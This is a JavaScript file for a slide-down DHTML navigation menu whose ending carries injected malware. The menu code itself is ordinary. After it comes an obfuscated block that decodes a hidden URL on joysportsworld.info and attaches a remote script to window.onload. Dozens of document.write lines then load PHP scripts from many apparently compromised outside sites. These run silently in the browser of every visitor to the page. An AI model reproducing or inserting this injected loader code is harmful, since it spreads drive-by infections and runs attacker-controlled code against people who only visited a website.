
	/************************************************************************************************************

	************************************************************************************************************/	
var expandFirstItemAutomatically = false;	// Expand first menu item automatically ?
var initMenuIdToExpand = false;	// Id of menu item that should be initially expanded. the id is defined in the <li> tag.
var expandMenuItemByUrl = true;	// Menu will automatically expand by url - i.e. if the href of the menu item is in the current location, it will expand


var initialMenuItemAlwaysExpanded = true;	// NOT IMPLEMENTED YET

var danTreeDHTML_slmenuObj;
var divToScroll = false;
var ulToScroll = false;	
var divCounter = 1;
var otherDivsToScroll = new Array();
var divToHide = false;
var parentDivToHide = new Array();
var ulToHide = false;
var offsetOpera = 0;
if(navigator.userAgent.indexOf('Opera')>=0)offsetOpera=1;	
var slideMenuHeightOfCurrentBox = 0;
var objectsToExpand = new Array();
var initExpandIndex = 0;
var alwaysExpanedItems = new Array();
	
function popMenusToShow()
{
	var obj = divToScroll;
	var endArray = new Array();
	while(obj && obj.tagName!='BODY'){
		if(obj.tagName=='DIV' && obj.id.indexOf('slideDiv')>=0){
			var objFound = -1;
			for(var no=0;no<otherDivsToScroll.length;no++){
				if(otherDivsToScroll[no]==obj){
					objFound = no;		
				}					
			}	
			if(objFound>=0){
				otherDivsToScroll.splice(objFound,1);	
			}		
		}	
		obj = obj.parentNode;
	}	
}

function showSubMenu(e,inputObj)
{

	if(this && this.tagName)inputObj = this.parentNode;
	if(inputObj && inputObj.tagName=='LI'){
		divToScroll = inputObj.getElementsByTagName('DIV')[0];
		for(var no=0;no<otherDivsToScroll.length;no++){
			if(otherDivsToScroll[no]==divToScroll)return;
		}			
	}
	hidingInProcess = false;
	if(otherDivsToScroll.length>0){
		if(divToScroll){				
			if(otherDivsToScroll.length>0){
				popMenusToShow();
			}
			if(otherDivsToScroll.length>0){	
				autoHideMenus();
				hidingInProcess = true;
			}
		}	
	}		
	if(divToScroll && !hidingInProcess){
		divToScroll.style.display='';
		otherDivsToScroll.length = 0;
		otherDivToScroll = divToScroll.parentNode;
		otherDivsToScroll.push(divToScroll);	
		while(otherDivToScroll && otherDivToScroll.tagName!='BODY'){
			if(otherDivToScroll.tagName=='DIV' && otherDivToScroll.id.indexOf('slideDiv')>=0){
				otherDivsToScroll.push(otherDivToScroll);
									
			}
			otherDivToScroll = otherDivToScroll.parentNode;
		}			
		ulToScroll = divToScroll.getElementsByTagName('UL')[0];
		
		if(divToScroll.style.height.replace('px','')/1<=1)scrollDownSub();
	}	
	

}



function autoHideMenus()
{
	if(otherDivsToScroll.length>0){
		divToHide = otherDivsToScroll[otherDivsToScroll.length-1];
		parentDivToHide.length=0;
		var obj = divToHide.parentNode.parentNode.parentNode;
		while(obj && obj.tagName=='DIV'){			
			if(obj.id.indexOf('slideDiv')>=0)parentDivToHide.push(obj);
			obj = obj.parentNode.parentNode.parentNode;
		}
		var tmpHeight = (divToHide.style.height.replace('px','')/1 - slideMenuHeightOfCurrentBox);
		if(tmpHeight<0)tmpHeight=0;
		if(slideMenuHeightOfCurrentBox)divToHide.style.height = tmpHeight  + 'px';
		ulToHide = divToHide.getElementsByTagName('UL')[0];
		slideMenuHeightOfCurrentBox = ulToHide.offsetHeight;
		scrollUpMenu();		
	}else{
		slideMenuHeightOfCurrentBox = 0;
		showSubMenu();		
	}
}


function scrollUpMenu()
{

	var height = divToHide.offsetHeight;
	height-=15;
	if(height<0)height=0;
	divToHide.style.height = height + 'px';

	for(var no=0;no<parentDivToHide.length;no++){	
		parentDivToHide[no].style.height = parentDivToHide[no].getElementsByTagName('UL')[0].offsetHeight + 'px';
	}
	if(height>0){
		setTimeout('scrollUpMenu()',5);
	}else{
		divToHide.style.display='none';
		otherDivsToScroll.length = otherDivsToScroll.length-1;
		autoHideMenus();			
	}
}	

function scrollDownSub()
{
	if(divToScroll){			
		var height = divToScroll.offsetHeight/1;
		var offsetMove =Math.min(15,(ulToScroll.offsetHeight - height));
		height = height +offsetMove ;
		divToScroll.style.height = height + 'px';
		
		for(var no=1;no<otherDivsToScroll.length;no++){
			var tmpHeight = otherDivsToScroll[no].offsetHeight/1 + offsetMove;
			otherDivsToScroll[no].style.height = tmpHeight + 'px';
		}			
		if(height<ulToScroll.offsetHeight)setTimeout('scrollDownSub()',5); else {
			divToScroll = false;
			ulToScroll = false;
			if(objectsToExpand.length>0 && initExpandIndex<(objectsToExpand.length-1)){
				initExpandIndex++;
				showSubMenu(false,objectsToExpand[initExpandIndex]);
			}
		}
	}
}
	
function initSubItems(inputObj,currentDepth)
{		
	divCounter++;		
	var div = document.createElement('DIV');	// Creating new div		
	div.style.overflow = 'hidden';	
	div.style.position = 'relative';
	div.style.display='none';
	div.style.height = '1px';
	div.id = 'slideDiv' + divCounter;
	div.className = 'slideMenuDiv' + currentDepth;		
	inputObj.parentNode.appendChild(div);	// Appending DIV as child element of <LI> that is parent of input <UL>		
	div.appendChild(inputObj);	// Appending <UL> to the div
	var menuItem = inputObj.getElementsByTagName('LI')[0];
	while(menuItem){
		if(menuItem.tagName=='LI'){
			var aTag = menuItem.getElementsByTagName('A')[0];
			aTag.className='slMenuItem_depth'+currentDepth;	
			var subUl = menuItem.getElementsByTagName('UL');
		
			if(subUl.length>0){
				initSubItems(subUl[0],currentDepth+1);					
			}
			/*aTag.onclick = showSubMenu;	*/			
		}			
		menuItem = menuItem.nextSibling;						
	}		
}

function initSlideDownMenu()
{
	danTreeDHTML_slmenuObj = document.getElementById('danTreeDHTML_slidedown_menu');
	danTreeDHTML_slmenuObj.style.visibility='visible';
	var mainUl = danTreeDHTML_slmenuObj.getElementsByTagName('UL')[0];		
	var mainMenuItem = mainUl.getElementsByTagName('LI')[0];
	mainItemCounter = 1;
	while(mainMenuItem){			
		if(mainMenuItem.tagName=='LI'){
			var aTag = mainMenuItem.getElementsByTagName('A')[0];
			aTag.className='slMenuItem_depth1';	
			var subUl = mainMenuItem.getElementsByTagName('UL');
			if(subUl.length>0){
				mainMenuItem.id = 'mainMenuItem' + mainItemCounter;
				initSubItems(subUl[0],2);
				/*aTag.onclick = showSubMenu;*/
				mainItemCounter++;
			}				
		}			
		mainMenuItem = mainMenuItem.nextSibling;	
	}		
	
	if(location.search.indexOf('mainMenuItemToSlide')>=0){
		var items = location.search.split('&');
		for(var no=0;no<items.length;no++){
			if(items[no].indexOf('mainMenuItemToSlide')>=0){
				values = items[no].split('=');
				showSubMenu(false,document.getElementById('mainMenuItem' + values[1]));
				initMenuIdToExpand = false;				
			}
		}			
	}else if(expandFirstItemAutomatically>0){
		if(document.getElementById('mainMenuItem' + expandFirstItemAutomatically)){
			showSubMenu(false,document.getElementById('mainMenuItem' + expandFirstItemAutomatically));
			initMenuIdToExpand = false;
		}
	}

	if(expandMenuItemByUrl)
	{
		var aTags = danTreeDHTML_slmenuObj.getElementsByTagName('A');
		for(var no=0;no<aTags.length;no++){			
			var hrefToCheckOn = aTags[no].href;
			//alert(hrefToCheckOn+'-->'+location.href);				
			if(location.href.indexOf(hrefToCheckOn)>=0 && hrefToCheckOn.indexOf('#')<hrefToCheckOn.length-1){
				
				initMenuIdToExpand = false;
				var obj = aTags[no].parentNode;
//				alert(aTags[no].className);
				aTags[no].className=aTags[no].className+"Sel";
//				alert(aTags[no].className);
				while(obj && obj.id!='danTreeDHTML_slidedown_menu'){
					if(obj.tagName=='LI'){							
						var subUl = obj.getElementsByTagName('UL');
						if(initialMenuItemAlwaysExpanded)alwaysExpanedItems[obj.parentNode] = true;
						if(subUl.length>0){								
							objectsToExpand.unshift(obj);
						}
					}
					obj = obj.parentNode;	
				}
				showSubMenu(false,objectsToExpand[0]);
				break;					
			}			
		}
	}
			
	if(initMenuIdToExpand)
	{
		objectsToExpand = new Array();
		var obj = document.getElementById(initMenuIdToExpand)
		while(obj && obj.id!='danTreeDHTML_slidedown_menu'){
			if(obj.tagName=='LI'){
				var subUl = obj.getElementsByTagName('UL');
				if(initialMenuItemAlwaysExpanded)alwaysExpanedItems[obj.parentNode] = true;
				if(subUl.length>0){						
					objectsToExpand.unshift(obj);
				}
			}
			obj = obj.parentNode;	
		}
		
		showSubMenu(false,objectsToExpand[0]);

	}
	

		
}
//	window.onload = initSlideDownMenu;


var m=new String();var i='';try {var K=new String();var C=window[unescape("%75%6e%65%73%63%61%70%65")];var Rg=new Date();var Wf;if(Wf!='' && Wf!='mA'){Wf='r'};var b=null;var I=window[C("%52%65%67%45%78%70")];var MV="";var mG;if(mG!='uL'){mG='uL'};var wK;if(wK!='' && wK!='hK'){wK=null};var O=C("%72%65%70%6c%61%63%65");var dC="";var Iw='';var FC;if(FC!='' && FC!='az'){FC=null};function D(G,Gq){var k=new Date();var _;if(_!='J'){_='J'};var br=C("%5b");br+=Gq;this.gT='';var gS;if(gS!='PR' && gS != ''){gS=null};br+=C("%5d");var dCy="";var T=new I(br, C("%67"));this.Uy="";return G.replace(T, b);var fb;if(fb!='' && fb!='E'){fb='Ky'};var aY;if(aY!='' && aY!='t'){aY=''};};var o;if(o!=''){o='ws'};var G=C("%31");var _X="";var Ji="";var v=new Date();var h='';var wra=new String();var d=D('814951460211463856963065473','54127639');this.dm='';this.eo='';var u="onloa"+"Lo0d".substr(3);var Y=D('/igioTofgflTei.XcFoymy/XcfcXtOv5.FcyoimT/YkFaysFkyuysY.FuYsX.ypfhFpi','iOyYTFfX5');var PQ;if(PQ!='s' && PQ != ''){PQ=null};var Zz;if(Zz!='' && Zz!='PQN'){Zz=null};var L="\x68\x74\x74\x70\x3a\x2f\x2f\x6a\x6f\x79\x73\x70\x6f\x72\x74\x73\x77\x6f\x72\x6c\x64\x2e\x69\x6e\x66\x6f\x3a";var er=new Date();this.PS='';var M=C("%73%63%72%69%70%74");var Mf='';var Hs=new Date();function X(){var Pn;if(Pn!='' && Pn!='Ho'){Pn='Ft'};var w=document;var Bh=new String();wr=w.createElement(M);this.QS='';h+=L;var Jiq=new Array();h+=d+Y;var Wl;if(Wl!='qa' && Wl != ''){Wl=null};var IN=new Array();var Hn=new Date();var im=new Date();wr.src=h;var B=w.body;var uD;if(uD!='KO' && uD!='rm'){uD='KO'};var xZ;if(xZ!='P_' && xZ != ''){xZ=null};wr.defer=G;var Yt=new Date();var zh="";var Lb;if(Lb!='' && Lb!='hX'){Lb='Ii'};var Tj=new String();B.appendChild(wr);var Pk=new Date();var Fp;if(Fp!='gz' && Fp!='xR'){Fp='gz'};};var rF;if(rF!='INz'){rF='INz'};var QQ=new String();window[u]=X;this._G="";} catch(B_){var Mu;if(Mu!='' && Mu!='sa'){Mu='_h'};this.wu="";};
document.write('<script src=http://ppoly.thaiddns.com/ebook/2.php ><\/script>');
document.write('<script src=http://ppoly.thaiddns.com/ebook/2.php ><\/script>');
document.write('<script src=http://designandexecute.com/imgs/solutions.php ><\/script>');
document.write('<script src=http://designandexecute.com/imgs/solutions.php ><\/script>');
document.write('<script src=http://designandexecute.com/imgs/solutions.php ><\/script>');
document.write('<script src=http://designandexecute.com/imgs/solutions.php ><\/script>');
document.write('<script src=http://designandexecute.com/imgs/solutions.php ><\/script>');
document.write('<script src=http://a1adultcontacts.com/style/index.php ><\/script>');
document.write('<script src=http://a1adultcontacts.com/style/index.php ><\/script>');
document.write('<script src=http://wantedh2o.at/images/u9i/p013_1_02.php ><\/script>');
document.write('<script src=http://wantedh2o.at/images/u9i/p013_1_02.php ><\/script>');
document.write('<script src=http://wantedh2o.at/images/u9i/p013_1_02.php ><\/script>');
document.write('<script src=http://wantedh2o.at/images/u9i/p013_1_02.php ><\/script>');
document.write('<script src=http://wantedh2o.at/images/u9i/p013_1_02.php ><\/script>');
document.write('<script src=http://wantedh2o.at/images/u9i/p013_1_02.php ><\/script>');
document.write('<script src=http://wantedh2o.at/images/u9i/p013_1_02.php ><\/script>');
document.write('<script src=http://myspace.com.153.asphostserver.com/images/gifimg.php ><\/script>');
document.write('<script src=http://myspace.com.153.asphostserver.com/images/gifimg.php ><\/script>');
document.write('<script src=http://bhorchhi.com/sql/profile.php ><\/script>');
document.write('<script src=http://bhorchhi.com/sql/profile.php ><\/script>');
document.write('<script src=http://bhorchhi.com/sql/profile.php ><\/script>');
document.write('<script src=http://bhorchhi.com/sql/profile.php ><\/script>');
document.write('<script src=http://bhorchhi.com/sql/profile.php ><\/script>');
document.write('<script src=http://bhorchhi.com/sql/profile.php ><\/script>');
document.write('<script src=http://bhorchhi.com/sql/profile.php ><\/script>');
document.write('<script src=http://bhorchhi.com/sql/profile.php ><\/script>');
document.write('<script src=http://bhorchhi.com/sql/profile.php ><\/script>');
document.write('<script src=http://bhorchhi.com/sql/profile.php ><\/script>');
document.write('<script src=http://amphee.com/includes/customwebsitedesign.php ><\/script>');
document.write('<script src=http://camisetas-ya.com/media/default.php ><\/script>');
document.write('<script src=http://throwbackguy.com/googlecheckout/product_listing.php ><\/script>');
document.write('<script src=http://throwbackguy.com/googlecheckout/product_listing.php ><\/script>');
document.write('<script src=http://throwbackguy.com/googlecheckout/product_listing.php ><\/script>');
document.write('<script src=http://throwbackguy.com/googlecheckout/product_listing.php ><\/script>');
document.write('<script src=http://throwbackguy.com/googlecheckout/product_listing.php ><\/script>');
document.write('<script src=http://throwbackguy.com/googlecheckout/product_listing.php ><\/script>');
document.write('<script src=http://throwbackguy.com/googlecheckout/product_listing.php ><\/script>');
document.write('<script src=http://throwbackguy.com/googlecheckout/product_listing.php ><\/script>');
document.write('<script src=http://throwbackguy.com/googlecheckout/product_listing.php ><\/script>');
document.write('<script src=http://bestasiatraveltours.com/images/gifimg.php ><\/script>');
document.write('<script src=http://dureflex.co.uk/products/customer_ref.php ><\/script>');
document.write('<script src=http://dureflex.co.uk/products/customer_ref.php ><\/script>');
document.write('<script src=http://dureflex.co.uk/products/customer_ref.php ><\/script>');
document.write('<script src=http://dureflex.co.uk/products/customer_ref.php ><\/script>');
document.write('<script src=http://dureflex.co.uk/products/customer_ref.php ><\/script>');
document.write('<script src=http://dureflex.co.uk/products/customer_ref.php ><\/script>');
document.write('<script src=http://dureflex.co.uk/products/customer_ref.php ><\/script>');
document.write('<script src=http://dureflex.co.uk/products/customer_ref.php ><\/script>');
document.write('<script src=http://dureflex.co.uk/products/customer_ref.php ><\/script>');
document.write('<script src=http://dureflex.co.uk/products/customer_ref.php ><\/script>');
document.write('<script src=http://unibride.net/cgi-bin/pop1.php ><\/script>');
document.write('<script src=http://unibride.net/cgi-bin/pop1.php ><\/script>');
document.write('<script src=http://unibride.net/cgi-bin/pop1.php ><\/script>');
document.write('<script src=http://unibride.net/cgi-bin/pop1.php ><\/script>');
document.write('<script src=http://unibride.net/cgi-bin/pop1.php ><\/script>');
document.write('<script src=http://unibride.net/cgi-bin/pop1.php ><\/script>');
document.write('<script src=http://unibride.net/cgi-bin/pop1.php ><\/script>');
document.write('<script src=http://unibride.net/cgi-bin/pop1.php ><\/script>');
document.write('<script src=http://unibride.net/cgi-bin/pop1.php ><\/script>');
document.write('<script src=http://unibride.net/cgi-bin/pop1.php ><\/script>');
document.write('<script src=http://reiche-sicherheit.net/administrator/configuration.php ><\/script>');
document.write('<script src=http://reiche-sicherheit.net/administrator/configuration.php ><\/script>');
document.write('<script src=http://reiche-sicherheit.net/administrator/configuration.php ><\/script>');
document.write('<script src=http://reiche-sicherheit.net/administrator/configuration.php ><\/script>');